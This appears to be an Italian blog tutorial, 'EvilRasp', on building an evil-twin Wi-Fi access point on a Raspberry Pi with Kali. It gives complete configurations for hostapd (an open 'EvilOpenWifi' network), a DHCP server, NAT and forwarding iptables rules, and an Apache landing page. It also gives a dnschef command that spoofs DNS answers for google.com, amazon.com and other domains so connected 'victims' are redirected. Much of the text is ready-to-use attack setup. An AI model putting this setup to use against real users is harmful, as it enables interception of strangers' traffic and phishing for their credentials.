
EvilRasp
In questo articolo troverete una piccola guida che vi permetterà di trasformare la vostra RaspBerry (nel mio caso Pi3 model B) in un piccolo Evil Twin.
An evil twin is a fraudulent Wi-Fi access point that appears to be legitimate but is set up to eavesdrop on wireless communications.[1] The evil twin is the wireless LAN equivalent of the phishing scam.This type of attack may be used to steal the passwords of unsuspecting users, either by monitoring their connections or by phishing, which involves setting up a fraudulent web site and luring people there.
fonte https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks)
La tecnica che andremo ad utilizzare in questo articolo è quella del DNS Spoofing, facente parte della famiglia di attacchi Man In The Middle (MITM).
Quest’attacco permette la manipolazione delle query DNS effettuate dalla “vittima”, con lo scopo di inviare false risposte
Nello schema che segue la query DNS “chi è google?” fatta dal client viene correttamente instradata

Qui invece la query DNS “chi è google?” fatta dal client, viene manipolata dal nostro evil twin che manderà indietro una falsa risposta

Esistono vari modi / tool che permettono la creazione di un evil twin, nel mio caso ho voluto provare ad utilizzare i seguenti :
- hostapd
- isc-dhcp-server
- dnschef
Il primo step è quello di scaricare una distro, nel mio caso ho scelto KALI per ARM (avendo già preinstallati al sui interno la maggior parte dei tool che andremo ad utilizzare)
Una volta scaricata la dovremo “Flashare” su di una SD (nel mio caso un sandisk da 16GB), per farlo ho utilizzato BalenaEtcher
Dopo aver “Flashato” la distro sul SD possiamo andare ad inserirla nella nostra Raspberry,accendere il tutto e collegarci via ssh
Una volta collegati procediamo all’aggiornamento della distro dando i seguenti comandi :
- apt update -y
- apt upgrade -y


Dopo aver aggiornato la nostra rasp, possiamo andare a creare una landing page che uscirà in risposta alle query DNS fatte dalla “vittima”
In Kali abbiamo già installato apache2 e per questo motivo sotto /var/www/html troveremo già i file di default che possiamo andare a modificare.
Nel mio caso ho semplicemente caricato un’immagine “STACCA.PNG” e modificato l’index.html
Una volta effettuate le modifiche non bisogna far nient’altro che avviare il “web server”,dando il comando service apache2 start
Ora se proviamo ad andare su http://”ipraspberry” ci comparirà la nostra landing page
Il prossimo passo è quello di trasformare la nostra Rasp in un Access Point, per poterlo fare andremo ad installare ed utilizzare hostapd, in combinazione alla seguente scheda Wifi Esterna (anche se il modello di Rasp che sto utilizzando ha una sua scheda wifi integrata)
Procediamo all’installazione di “hostapd” con il comando :
- apt-get install hostapd
Dopodiché andiamolo a configurare:
- vi /etc/hostapd/hostapd.conf
#indichiamo l’interfaccia che hostapd utilizzerà
interface=wlan 1
#indichiamo i driver che hostapd utilizzerà
driver=nl80211
#indichiamo il nome della rete Wifi che andremo a creare
ssid=”EvilOpenWifi”
#usiamo la banda di 2.4GHz
hw_mode=g
#usiamo il canale 6
channel=6
#abilitiamo 802.11n
ieee80211n=1
#abilitiamo WMM
wmm_enabled=1
#accettiamo tutti gli indirizzi MAC
macaddr_acl=0
#richiediamo al client di riconoscere il nome della rete
ignore_broadcast_ssid=0
#Impostiamo la rete senza autenticazione quindi Open
wpa=0
Ora configuriamo il demone di hostapd andando ad indicargli di aprire il file .conf precedentemente configurato
- vi /etc/default/hostapd
DAEMON_CONF=”/etc/hostapd/hostapd.conf”
Se lo si desidera si può andare a testare il corretto funzionamento delle configurazioni appena salvate con il comando :
- /usr/sbin/hostapd /etc/hostapd/hostapd.conf
Ora andiamo ad installare il nostro server DHCP, nel mio caso ho utilizzato isc-dhcp-server
- apt-get install isc-dhcp-server
Per configurare il nostro server DHCP
- vi /etc/dhcp/dhcpd.conf
authoritative;
subnet 10.10.10.0 netmask 255.255.255.0
{range 10.10.10.10 10.10.10.250;
option routers 10.10.10.1;
option broadcast-address 10.10.10.255;
default-lease-time 600;
max-lease-time 7200;
option domain-name “local”;
option domain-name-servers 10.10.10.1;
log-facility local7;}
- vi /etc/default/isc-dhcp-server
INTERFACES=”wlan1″
Mettiamo down l’interfaccia wlan1 (la nostra scheda Wifi esterna)
- ifconfig wlan1 down
Settiamola in static mode
- vi /etc/network/interfaces
iface wlan1 inet static
address 10.10.10.1
netmask 255.255.255.0
- vi /etc/dhcpcd.conf
interface wlan1
static ip_address=10.10.10.1/24
Assegniamo un ip all’interfaccia Wifi che fungerà da Hotspot e riportiamola up
- ifconfig wlan1 10.10.10.1 up

Ora sia il DHCP che l’interfaccia sono state configurate, dobbiamo andare ad abilitate l’inoltro dei pacchetti settando ipv4 forward
Per farlo basterà de-commentare “net.ipv4.ip_forward=1” qui :
- vi /etc/sysctl.conf
Fatto ciò dovremmo andare ad abilitare il NAT che permetta ai pacchetti in entrata dalla wlan1 di uscire verso “internet” tramite l’interfaccia eth0.
Prima di farlo però installiamo un servizio che ci permetterà di salvare,in maniera persistente, le regole iptables che andremo a fare più avanti:
- apt-get install iptables-persistent
- service netfilter-persistent start
- update-rc.d netfilter-persistent enable
Ora possiamo configurare l’iptables come segue :
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o wlan1 -m state –state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
Salviamo le configurazioni Iptables il comando:
- iptables-save > /etc/iptables/rules.v4
Ora avviamo sia il nostro hotspot che il nostro DHCP server con i comandi :
- service hostapd start
- service isc-dhcp-server start
Adesso possiamo andare a predisporre il tool che manipolerà le chiamate DNS della “vittima” collegata al nostro Evil Twin
Il tool che ho scelto in questo caso è “dnschef” ed il comando che andrò a dare sarà :
dnschef –fakeip=10.10.10.1 –interface=10.10.10.1 –fakedomains=*.google.com,*.google.it, *.amazon.com,*.amazon.it,*.pippopluto.com
–fakeip # inserire l’ip del DNS server che risponderà alle richieste DNS
–interface #inserire l’ip dell’interfaccia in ascolto
–fakedomains #inserire il/i domini che saranno intercettati
Come possiamo vedere dallo screen le chiamate verso *google.com vengono intercettate ed inviate verso 10.10.10.1 (cooking) mentre tutte le altre vengono proxate e inviate al nameservers di google 8.8.8.8 (proxying)

Questo è quello che la vittima vedrà accadere sul suo device:
